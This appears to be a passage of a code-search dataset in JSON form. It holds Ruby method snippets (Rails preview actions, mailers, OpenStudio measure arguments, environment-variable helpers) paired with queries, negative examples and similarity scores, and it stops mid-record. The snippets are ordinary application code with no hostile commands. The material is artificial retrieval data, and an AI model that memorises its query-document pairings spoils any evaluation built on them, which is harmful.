"def preview\n begin\n page = Comatose::Page.new(params[:page])\n page.author = current_user\n if params.has_key? :version\n content = page.to_html( {'params'=>params.stringify_keys, 'version'=>params[:version]} )\n else\n content = page.to_html( {'params'=>params.stringify_keys} )\n end\n rescue SyntaxError\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '<')}</pre></p>\"\n rescue\n content = \"<p>There was an error generating the preview.</p><p><pre>#{$!.to_s.gsub(/\\</, '<')}</pre></p>\"\n end\n render :text=>content, :layout => false\n end",
"def show\n # notification_email\n end",
"def preview\n self.content.split(' ')[0...5].join(' ') + '...'\n end",
"def apply(interviewee,interviewer)\n @interviewee = interviewee\n @interviewer = interviewer\n mail(to: @interviewee.email + \",\" + @interviewer.email, subject: '面接日程承認のお知らせ')\n end",
"def to_s\n '#<Twilio::REST::Preview>'\n end",
"def to_s\n '#<Twilio::REST::Preview>'\n end",
"def email_approved_proposal\n ProposalMailer.email_approved_proposal\n end",
"def preview_submit\n @story = Story.find(params[:submission])\n @story_slam_preview = true # to hide/show certain things in the header\n end",
"def set_preview\n @preview = Preview.find(params[:id])\n end",
"def preview_msg(msg_params_with_name)\n uri = 'cgi-bin/operate_appmsg?sub=preview&t=ajax-appmsg-preview'\\\n \"&type=10&token=#{@token}&lang=zh_CN\"\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/appmsg?t=media/appmsg_edit'\\\n \"&action=edit&type=10&isMul=0&isNew=1&lang=zh_CN&token=#{@token}\",\n host: 'mp.weixin.qq.com',\n x_requested_with: 'XMLHttpRequest'\n }\n resource = RestClient::Resource.new(@home_url, headers: headers, cookies: @cookies)\n\n res = resource[uri].post msg_params_with_name\n # \"ret\":\"0\", \"msg\":\"preview send success!\", \"appMsgId\":\"201796045\", \"fakeid\":\"\"\n JSON.parse res.to_s\n end",
"def review_posted(email,permalink) \n @service_permalink = permalink \n subject = \"A review was posted for your service\"\n setup_email(email, subject)\n end",
"def preview_cover\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_cover-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.cover\n render \"previews/preview\"\n end",
"def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end",
"def preview_edit\n\n layout_style = nil\n if (params[:layout])\n layout_style = params[:layout]\n end\n\n\n begin\n @bulletin = Bulletin.find(params[:id])\n @bulletin_layout = @bulletin.layout_for_editing(layout_style, self)\n headers[\"Content-Type\"] = @bulletin_layout.filetype + \"; charset=\" + @bulletin_layout.charset\n render :text => @bulletin_layout.rendered, :layout => 'bulletin'\n return\n rescue SyntaxError\n @error = _('A fatal error has occurred while compiling the temlpate!') + \n '<br /><br />ERROR: '+$!\n end\n render :action => 'error', :layout => 'bulletin'\n end"
] |
[
"0.71475905",
"0.71186084",
"0.70552814",
"0.6985626",
"0.6848472",
"0.6848472",
"0.6832406",
"0.6663229",
"0.64324814",
"0.631654",
"0.6304366",
"0.6181875",
"0.6167911",
"0.61338973",
"0.61305445",
"0.6115152",
"0.61100966",
"0.61100966",
"0.60882556",
"0.60132533",
"0.5982547",
"0.5970752",
"0.5921947",
"0.5854165",
"0.58256847",
"0.58256847",
"0.5801412",
"0.5798907",
"0.57861274",
"0.5756108",
"0.57435614",
"0.57311475",
"0.5694853",
"0.5693586",
"0.56733876",
"0.56689703",
"0.5667859",
"0.56230783",
"0.5584482",
"0.5580056",
"0.556691",
"0.5565034",
"0.553256",
"0.55282027",
"0.5521174",
"0.55182135",
"0.54865557",
"0.54802716",
"0.54802716",
"0.5475045",
"0.54698133",
"0.5462231",
"0.54592174",
"0.5457588",
"0.54561025",
"0.5434102",
"0.54326165",
"0.5418592",
"0.5416024",
"0.5406969",
"0.5398783",
"0.5398783",
"0.5390498",
"0.53865004",
"0.53677875",
"0.5354904",
"0.53483963",
"0.53450906",
"0.53428084",
"0.5339015",
"0.5331245",
"0.5324016",
"0.5320464",
"0.52986485",
"0.52971554",
"0.52956325",
"0.52885884",
"0.52866477",
"0.52858466",
"0.52848935",
"0.5274558",
"0.52651525",
"0.5261375",
"0.5255958",
"0.52543974",
"0.52372897",
"0.52372897",
"0.5235101",
"0.522828",
"0.5226132",
"0.5213765",
"0.52118236",
"0.52118236",
"0.52064675",
"0.5192629",
"0.5186882",
"0.5167913",
"0.51622766",
"0.5158241",
"0.515572",
"0.5152641"
] |
0.0
|
-1
|
EZ_GLOBAL_VARIABLES = '/usr/local/ngseq/opt/EZ_GLOBAL_VARIABLES_DEMO.txt' compatible method to R vector, c(x,x,x)
|
def c(*list)
list
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def global_variables() end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument for the variable name\n variable_name = OpenStudio::Measure::OSArgument.makeStringArgument('variable_name', true)\n variable_name.setDisplayName('Enter Variable Name.')\n variable_name.setDescription('Valid values can be found in the eplusout.rdd file after a simulation is run.')\n args << variable_name\n\n # make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency.')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n # make an argument for the key_value\n key_value = OpenStudio::Measure::OSArgument.makeStringArgument('key_value', true)\n key_value.setDisplayName('Enter Key Name.')\n key_value.setDescription('Enter * for all objects or the full name of a specific object to.')\n key_value.setDefaultValue('*')\n args << key_value\n\n env = OpenStudio::Measure::OSArgument.makeStringArgument('env', true)\n env.setDisplayName('availableEnvPeriods')\n env.setDescription('availableEnvPeriods')\n env.setDefaultValue('RUN PERIOD 1')\n args << env\n\n args\n end",
"def vres_energy_gsl_vector(options)\n raise \"Velocity space vres diagnostics not found\" unless FileTest.exist? \"#@directory/#@run_name.vres\"\n vres = GSL::Vector.filescan(\"#@directory/#@run_name.vres\")\n return vres[2]\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for the variable name\n variable_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"variable_name\",true)\n variable_name.setDisplayName(\"Enter Variable Name.\")\n variable_name.setDescription(\"Valid values can be found in the eplusout.rdd file after a simulation is run.\")\n args << variable_name\n \n #make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Zone Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency.\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n\n #make an argument for the key_value\n key_value = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"key_value\",true)\n key_value.setDisplayName(\"Enter Key Name.\")\n key_value.setDescription(\"Enter * for all objects or the full name of a specific object to.\")\n key_value.setDefaultValue(\"*\")\n args << key_value\n \n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\n env.setDisplayName(\"availableEnvPeriods\")\n env.setDescription(\"availableEnvPeriods\")\n env.setDefaultValue(\"RUN PERIOD 1\")\n args << env\n \n return args\n end",
"def local_env(body)\n env = ''\n vtmp = @var.dup\n vtmp[:pub_rsa] = '[PUBLIC RSA KEY]'\n vtmp[:prv_rsa] = '[PRIVATE RSA KEY]'\n vtmp[:user_keys] = @var[:user_keys].collect { |k,_| k }\n vtmp.each { |k,v| env << \"#{(k.to_s + ' '*20)[0,20]} => #{v.inspect}\\n\" }\n _notice \" -- Current Environment Variables --\\n#{env}\"\nend",
"def getVariable(name)\n index = -1\n\n # Find the internal database index of the column we are looking for.\n $db.get_col_order_vector.each do |col_index|\n if name == $db.get_data_column(col_index).get_name\n index = col_index\n end\n end\n\n #puts \"Got column index.\"\n #puts index\n\n\n dc = $db.get_data_column(index)\n mve = $db.get_matrix_ve(dc.get_its_mve_id)\n\n # Convert each cell into an array and store in an array of arrays\n cells = Array.new\n arg_names = Array.new\n\n if dc.get_its_mve_type == MatrixVocabElement::MatrixType::MATRIX\n for i in (0 .. (mve.get_num_formal_args - 1))\n fa = mve.get_formal_arg_copy(i)\n arg_names << fa.get_farg_name\n end\n end\n\n for i in (1 .. dc.get_num_cells)\n cell = dc.get_db.get_cell(dc.get_id, i)\n c = Array.new\n c << cell.get_onset.get_time\n c << cell.get_offset.get_time\n c << cell.get_val.to_escaped_string.tr_s(\"(\", \"\").tr_s(\")\", \"\").split(\",\")\n c << i\n cells << c\n end\n\n\n v = Variable.new\n v.name = name\n v.old_args = arg_names\n #v.type = dc.get_its_mve_type\n v.set_cells(cells, arg_names)\n\n\n return v\nend",
"def to_ruby_array(os_vector)\n values = []\n for i in (0..os_vector.size - 1)\n values << os_vector[i]\n end\n return values\n end",
"def generate_initialization_vector(words)\n vector = \"\"\n words.times {\n vector << [rand(ULONG)].pack('N')\n }\n return(vector)\n end",
"def vars\n @vars ||= soln.keys\n @vars\n end",
"def globals; list_all :global_variables; end",
"def build_vars\n\n end",
"def get_vars\n var_list = []\n File.foreach(File.join(output_dir, vars_file)) do |line|\n next if line =~ /^#/ # Drop comment lines\n line =~ VAR_LINE_REGEXP\n var, default_value = $1, $2\n var_list << [var, (default_value || '').strip]\n end\n var_list\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(), user_arguments)\n return result\n end\n\n request = OpenStudio::IdfObject.load(\"Output:Variable,,Site Outdoor Air Drybulb Temperature,Hourly;\").get\n result << request\n\n return result\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return result\n end\n\n request = OpenStudio::IdfObject.load('Output:Variable,,Site Outdoor Air Drybulb Temperature,Hourly;').get\n result << request\n\n return result\n end",
"def lpc_energy_gsl_vector(options)\n raise \"Velocity space lpc diagnostics not found\" unless FileTest.exist? \"#@directory/#@run_name.lpc\"\n lpc = GSL::Vector.filescan(\"#@directory/#@run_name.lpc\")\n return lpc[2]\n end",
"def external_vars(opts={})\n if opts\n opts.each do |k,v|\n if v.include? \",\"\n if v.split(\",\")[0] == \"char\"\n ## default is 40 characters\n if v.split(\",\")[2]\n $external_vars << \"#{v.split(\",\")[0]}* #{k}[#{v.split(\",\")[2].lstrip}];\"\n else\n $external_vars << \"#{v.split(\",\")[0]} #{k}[40] = \\\"#{v.split(\",\")[1].lstrip}\\\";\"\n end\n else\n $external_vars << \"#{v.split(\",\")[0]} #{k} =#{v.split(\",\")[1]};\"\n end\n else\n if v.split(\",\")[0] == \"char\"\n $external_vars << \"#{v.split(\",\")[0]} #{k}[40];\"\n else\n\n $external_vars << \"#{v.split(\",\")[0]} #{k};\"\n end\n end\n # check chars work here\n $external_var_identifiers << k\n end\n end\n end",
"def define_parameters_sol10u9\n iso_file=\"#{$iso_dir}/sol-10-u9-ga-x86-serial-dvd.iso\"\n os_type=\"Solaris_64\"\n memory_size=\"1024\"\n disk_size=\"10000\"\n disk_type=\"ide\"\n return iso_file, os_type, memory_size, disk_size, disk_type\nend",
"def []=(key,val)\n envir=nil\n default=nil\n key=key.to_s.strip\n #puts \"key\";p key\n default,key=true,key[1..-1] if key[0,2]==\"?:\" or key[0,3]==\"?::\"\n envir,key=@global,key[2..-1] if key[0,2]==\"::\"\n envir,key=@local,key[1..-1] if key[0,1]==\":\"\n keys=Envir.to_keys(key)\n=begin\nputs \"[]=\"\np keys\np envir\np \"ici\"\np Envir.elt_defined?(envir,keys,true) if envir\n=end\n if envir\n if (curElt=Envir.elt_defined?(envir,keys,true))\n #puts \"ici\";p curElt\n Envir.update_textElt(curElt,val) unless default\n else\n Envir.set_textElt!(envir,keys,[val])\n end\n else\n if (curElt=elt_defined?(keys,true))\n Envir.update_textElt(curElt,val) unless default\n else\n #create it only locally!\n Envir.set_textElt!(@local,keys,[val])\n#p keys; p val\n#p @local\n end\n end\n end",
"def _vector(sexp, result=[])\n if null?(sexp)\n return result\n end\n (self.eval(car(sexp)) + _vector(cdr(sexp), result)) \n end",
"def global_var\n $global_var \n end",
"def cvars; end",
"def globals; end",
"def globals; end",
"def custom_var_data\n names = []\n values = []\n scopes = []\n\n idx = 1\n @custom_vars.each_with_index do |(n, v, s), i|\n next if !n || !v || (/\\w/ !~ n) || (/\\w/ !~ v)\n prefix = \"#{i}!\" if idx != i\n names << \"#{prefix}#{escape(n)}\"\n values << \"#{prefix}#{escape(v)}\"\n scopes << \"#{prefix}#{escape(s)}\"\n idx = i + 1\n end\n\n names.empty? ? \"\" : \"8(#{names.join('*')})9(#{values.join('*')})11(#{scopes.join('*')})\"\n end",
"def custom_var_data\n names = []\n values = []\n scopes = []\n\n idx = 1\n @custom_vars.each_with_index do |(n, v, s), i|\n next if !n || !v || (/\\w/ !~ n) || (/\\w/ !~ v)\n prefix = \"#{i}!\" if idx != i\n names << \"#{prefix}#{escape(n)}\"\n values << \"#{prefix}#{escape(v)}\"\n scopes << \"#{prefix}#{escape(s)}\"\n idx = i + 1\n end\n\n names.empty? ? \"\" : \"8(#{names.join('*')})9(#{values.join('*')})11(#{scopes.join('*')})\"\n end",
"def var_file(path:)\n add option: \"-var-file=#{path}\"\n end",
"def get_vars(instruction)\n dictionary = {\n 'definition' => ['os_type_id','iso_file','boot_cmd_sequence','postinstall_files'],\n 'kickstart' => ['reponame','pkgs'],\n 'preseed' => ['suite','pkgs'],\n 'autoinst' => ['pkgs']\n }\n # 'kickstart_file' option in definition.rb is deprecated\n # erb_vars = ['os_type_id','iso_file','boot_cmd_sequence','kickstart_file','postinstall_files']\n return dictionary[instruction]\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n \r\n return args\r\n end",
"def var_list(variable_name)\n [\"${split(\\\",\\\",var.#{variable_name})}\"]\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # the name of the space to add to the model\n temps_string = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"Temperatures array\", true)\n temps_string.setDisplayName(\"Monthly ground temps\")\n temps_string.setDefaultValue(\"24.8,24.8,23.0,20.8,18.3,15.5,14.3,15.4,17.8,20.0,22.2,23.6\")\n temps_string.setDescription(\"Enter 12 values, comma seperated for monthly ground temperatures\")\n args << temps_string\n\n return args\n end",
"def variables; end",
"def variables; end",
"def global_var\n $global_var \nend",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n return args\n end",
"def sub_vars\n # Get list of variables, remove reserved\n get_var_names.each do |var, _sub|\n code.gsub!(var, \"$#{@rig.init_var(var)}\")\n end\n\n code\n end",
"def vars\n variables.values\n end",
"def vars\n variables.values\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n return args\r\n end",
"def arguments()\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n return args\r\n end",
"def static_env=(_arg0); end",
"def static_env=(_arg0); end",
"def static_env=(_arg0); end",
"def process_cvar(exp)\n # TODO: we should treat these as globals and have them in the top scope\n name = exp.shift\n return name.to_s\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n return args\n end",
"def env(variable_name, variable_value, &block); end",
"def vars(argv = [])\n argv\n end",
"def acquire_element_array_list\n element_array_list = []\n (0..7).each do |number|\n element_file_name = ELEMENT_FILE_PREFIX + number.to_s + TEXT_FILE_SUFFIX\n element_array = File.read(element_file_name)\n element_array_list[number] = element_array.split(EXPORT_LIST_SEPARATOR)\n end\n element_array_list\n end",
"def global_modules\n node['rsyncd']['globals'].each_with_object({}) do |(key, value), hash|\n hash[attribute_to_directive(key)] = value unless value.nil?\n end\nend",
"def get_variables(str)\n retArray = Array.new\n unless str.nil? || str.empty?\n retArray = str.scan(/\\${\\w+}/).map! { |element| \n element.gsub(/\\$|\\{|\\}/, '')\n }\n end\n return retArray\n end",
"def vres_pitch_angle_gsl_vector(options)\n raise \"Velocity space vres diagnostics not found\" unless FileTest.exist? \"#@directory/#@run_name.vres\"\n vres = GSL::Vector.filescan(\"#@directory/#@run_name.vres\")\n return vres[1]\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \t\"os_object_type\"\t],\n [ \"weather_file_name\", \"STRING\", true, false, \"Weather File Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n #Default set for server weather folder.\n [ \"weather_directory\", \"STRING\", true, false, \"Weather Directory\", \"../../weather\", nil, nil, nil,\t nil\t\t\t\t\t]\n \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def var_names(file)\n opened = false\n case file\n when String\n file = Gtool3.open(file,\"r\")\n when Gtool3\n opened = true\n else\n raise ArgumentError, \"arg must be a Gtool3 or a file name\"\n end\n var_names = file.var_names\n file.close unless opened\n return var_names\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError('Cannot find OpenStudio model.')\n return false\n end\n model = model.get\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return result\n end\n\n output_vars = runner.getStringArgumentValue('output_vars', user_arguments).split(',')\n\n output_vars.each do |output_var|\n output_var.strip!\n if output_var == 'Wetbulb Globe Temperature'\n requests = wbgt_vars\n else\n requests = [output_var]\n end\n requests.each do |request|\n result << OpenStudio::IdfObject.load(\"Output:Variable,*,#{request},Hourly;\").get\n end\n end\n\n return result\n end",
"def local_variables() end",
"def define_variable(name)\n emit_section :data\n emit \"#{name}: .long 0x0\\n\"\n emit_section :text\nend",
"def define_variable(name)\n emit_section :data\n emit \"#{name}: .long 0x0\\n\"\n emit_section :text\nend",
"def arguments()\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument to toggle QAQC\n run_sim_settings_checks = OpenStudio::Measure::OSArgument.makeBoolArgument('run_sim_settings_checks', true)\n run_sim_settings_checks.setDisplayName('Run Checks')\n run_sim_settings_checks.setDescription('If set to true, will run the measure, which adds output variables and increases runtime.')\n run_sim_settings_checks.setDefaultValue(false)\n args << run_sim_settings_checks\n return args\n end",
"def get_launch_params(launch_params_file)\n IO.readlines launch_params_file\nend",
"def get_launch_params(launch_params_file)\n IO.readlines launch_params_file\nend",
"def get_launch_params(launch_params_file)\n IO.readlines launch_params_file\nend",
"def vectorid(sexp)\nself.eval(car(sexp)) + self.eval(cadr(sexp))\n end",
"def test_var\n assert_equal 16, Rover::Vector.new([1, 5, 9]).var\n end",
"def vagrant_experimentals()\n res = []\n if ENV[\"VAGRANT_EXPERIMENTAL\"]\n res = ENV[\"VAGRANT_EXPERIMENTAL\"].split(\",\")\n end\n res\n end",
"def get_variables\n nodes = @xml.xpath(\"//descendant::xmlns:OMA/xmlns:OMS[attribute::cd='3Dgeo1']\")\n nodes.each do |node|\n scope.add(node.next[\"name\"], @variable_types[node[\"name\"].to_sym])\n end\n end",
"def to_lp_vars\n index_tuples.map{|t| \"v#{t.join('x')}\"}\n end",
"def var_s()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Var_S::VarSRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def publicVariable _args\n \"publicVariable _args;\" \n end",
"def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n return args\n end",
"def regexp_variables\n return @regexp_variables if @regexp_variables\n @regexp_variables = Array.new\n @base_theme.scan(VARIABLE_MATCHER) { @regexp_variables << $2 }\n @regexp_variables\n end",
"def getVariablesToInstantiate\n return {\n :ProjectUnixName => 'myproject'\n }\n end",
"def forward_local_env(env_variable_patterns); end",
"def variables(vars)\n @storage[:variables] = vars\n end",
"def variables\n EMPTY_ARRAY\n end",
"def example_env_vars\n Parser.call(read)\n rescue Errno::ENOENT, FormatError\n {}\n end",
"def arguments(workspace)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # argument for external_idf_name\n external_idf_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"external_idf_name\", true)\n external_idf_name.setDisplayName(\"External IDF File Name\")\n external_idf_name.setDescription(\"Name of the model to replalace current model. This is the filename with the extension (e.g. MyModel.idf). Optionally this can inclucde the full file path, but for most use cases should just be file name.\")\n args << external_idf_name\n\n return args\n end",
"def main_variable ; end",
"def variable_node; end",
"def publicVariableServer _args\n \"publicVariableServer _args;\" \n end",
"def PARAMETER_LIST()\r\n\"\r\n_VT01.txt:5du-4du+-3du+,1p,2m 8 6 12 0 64 2 24\r\n_VT02.txt:5m-2p,4d-3me,1p\r\n_VT03.txt:2me,3m,4m 8 6 12 0 64 2 24\r\n_VT04.txt:2m,7d-2me,3pw 8 6 12 0 64 2 24\r\n_VT05.txt:2me,3m-7m-6p+,4m-5m+ 8 6 12 0 64 2 24\r\n_VT06.txt:2me[2f]-6p[3]+,3m[1e]-7m[6d]-6p[3]+-2mew+,4m[3c]-5m[2b]+-2me+ 8 6 12 0 64 2 24\r\n_VT07.txt:1d-2me-3p,4m[uf]-5m[2]+,5m[6]-6me[2]+-3p[3]+-2mew+ 8 6 12 0 64 2 6\r\n_VT08.txt:9d-10d-11d-12d, 4p-5m-7m, 6m-8m | 1me, 2me, 3p\r\n\"\r\nend",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \"os_object_type\"\t ],\n [ \"alternativeModel\", \"STRING\", true, false, \"Alternative Model\", 'FullServiceRestaurant.osm', nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"osm_directory\", \"STRING\", true, false, \"OSM Directory\", \"../../lib/btap/resources/models/smart_archetypes\", nil, nil, nil,\t nil\t\t\t\t\t] \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \"os_object_type\"\t ],\n [ \"alternativeModel\", \"STRING\", true, false, \"Alternative Model\", 'FullServiceRestaurant.osm', nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"osm_directory\", \"STRING\", true, false, \"OSM Directory\", \"../../lib/btap/resources/models/smart_archetypes\", nil, nil, nil,\t nil\t\t\t\t\t] \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \t\"os_object_type\"\t],\n [ \"lib_file_name\", \"STRING\", true, false, \"Lib File Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"construction_set_name\", \"STRING\", true, false, \"Construction Set Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n \n #Default set for server weather folder.\n [ \"lib_directory\", \"STRING\", true, false, \"Lib Directory\", \"../../lib/btap/resources/constructions\", nil, nil, nil,\t nil\t\t\t\t\t]\n \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end",
"def loadUniform _args\n \"loadUniform _args;\" \n end",
"def print_free_vars_initializer\n @printer << 'def ' << FreeVarInitName << '(_yadpy_values):' << :nl\n @printer << ' global '\n @typechecker.references.each_with_index do |pair, i|\n @printer << ', ' if i > 0\n @printer << pair[1]\n end\n @printer << :nl\n args = []\n i = 0\n @typechecker.references.each do |pair|\n @printer << ' ' << pair[1] << ' = ' << '_yadpy_values[' << i.to_s << ']' << :nl\n args << pair[0]\n i += 1\n end\n @printer << :nl\n return args\n end",
"def variable; end",
"def variable; end",
"def listaVariables\n listaAux=[]\n cont=0\n listaAux[0]=match(\"Identificador\")\n cont+=1\n while (nodoExiste && @arrayTokens[@punteroToken].returnTipo == \"Coma\") do\n match(\"Coma\")\n listaAux[cont]=match(\"Identificador\")\n cont+=1\n end\n return listaAux\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # Request the day type to use in the peak demand window checks.\n result << OpenStudio::IdfObject.load('Output:Variable,*,Site Day Type Index,timestep;').get\n\n return result\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # this measure does not require any user arguments, return an empty list\n\n return args\n end",
"def parseRCFile(path)\n if File.readable?(path)\n File.readlines(path).each { |line|\n line.strip!\n next if !line.match(/^export.*?=/)\n name, value = line.split(/=/, 2)\n name.sub!(/^export /, \"\")\n if !value.nil? and !value.empty?\n value.gsub!(/(^\"|\"$)/, \"\")\n ENV[name] = value if !value.match(/\\$/)\n end\n }\n end\nend",
"def vec \n\t\t\tODE::Vector::new( @elem[0..2] )\n\t\tend",
"def arguments(model)\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n \r\n return args\r\n end",
"def drhodpsi_gsl_vector(options)\n drhodpsi = netcdf_file.var('drhodpsi').get()[0]\n return drhodpsi\n end",
"def use_implicit_variables; CurrentParser[:implicit_variables]=true; end"
] |
[
"0.57787293",
"0.5437727",
"0.53847665",
"0.53415114",
"0.52824944",
"0.5281301",
"0.5277103",
"0.5256173",
"0.524109",
"0.5216734",
"0.5202382",
"0.51952016",
"0.5193567",
"0.519213",
"0.51885235",
"0.51804507",
"0.5118744",
"0.510987",
"0.51084673",
"0.5104509",
"0.5092805",
"0.5084672",
"0.5084672",
"0.50732476",
"0.50646126",
"0.50546545",
"0.5013312",
"0.4980258",
"0.49584427",
"0.49486712",
"0.49471447",
"0.49471447",
"0.49329948",
"0.49291083",
"0.49172434",
"0.4900081",
"0.4900081",
"0.4886914",
"0.4886914",
"0.48822826",
"0.48822826",
"0.48822826",
"0.48773354",
"0.4868075",
"0.4868075",
"0.4868075",
"0.4868075",
"0.4868075",
"0.4868075",
"0.4868075",
"0.4868063",
"0.48647568",
"0.4853464",
"0.48473048",
"0.4843786",
"0.4833221",
"0.48191985",
"0.47902346",
"0.47858945",
"0.47821376",
"0.47769505",
"0.4765471",
"0.4765471",
"0.47631854",
"0.47563788",
"0.47563788",
"0.47563788",
"0.47527856",
"0.47489706",
"0.47295612",
"0.4724526",
"0.47063738",
"0.47044674",
"0.4702326",
"0.4702043",
"0.46932086",
"0.46912733",
"0.4689891",
"0.4689807",
"0.4688218",
"0.46852317",
"0.46819946",
"0.4681552",
"0.46806553",
"0.46748748",
"0.46666503",
"0.46640888",
"0.46640888",
"0.46619117",
"0.46586645",
"0.46558678",
"0.46547353",
"0.46547353",
"0.46465346",
"0.46459505",
"0.46432337",
"0.46424717",
"0.46367243",
"0.4627993",
"0.46225616",
"0.46211976"
] |
0.0
|
-1
|
Helper to set date values. Converts dates, in Date or String format, to a RDF::Literal.
|
def date_setter(name, d)
case d.class.name
when 'RDF::Literal::Date', 'NilClass'
value = d
when 'String'
begin
if d.empty?
value = nil
else
value = ::RDF::Literal.new(Date.parse(d))
end
rescue
raise ArgumentError, "#{name} could not be converted to a date."
end
when 'Date', 'DateTime', 'Time'
value = ::RDF::Literal.new(Date.parse(d.to_s))
else
raise ArgumentError, "#{name} cannot be a #{d.class}."
end
set_value(name, value)
end
|
{
"objective": {
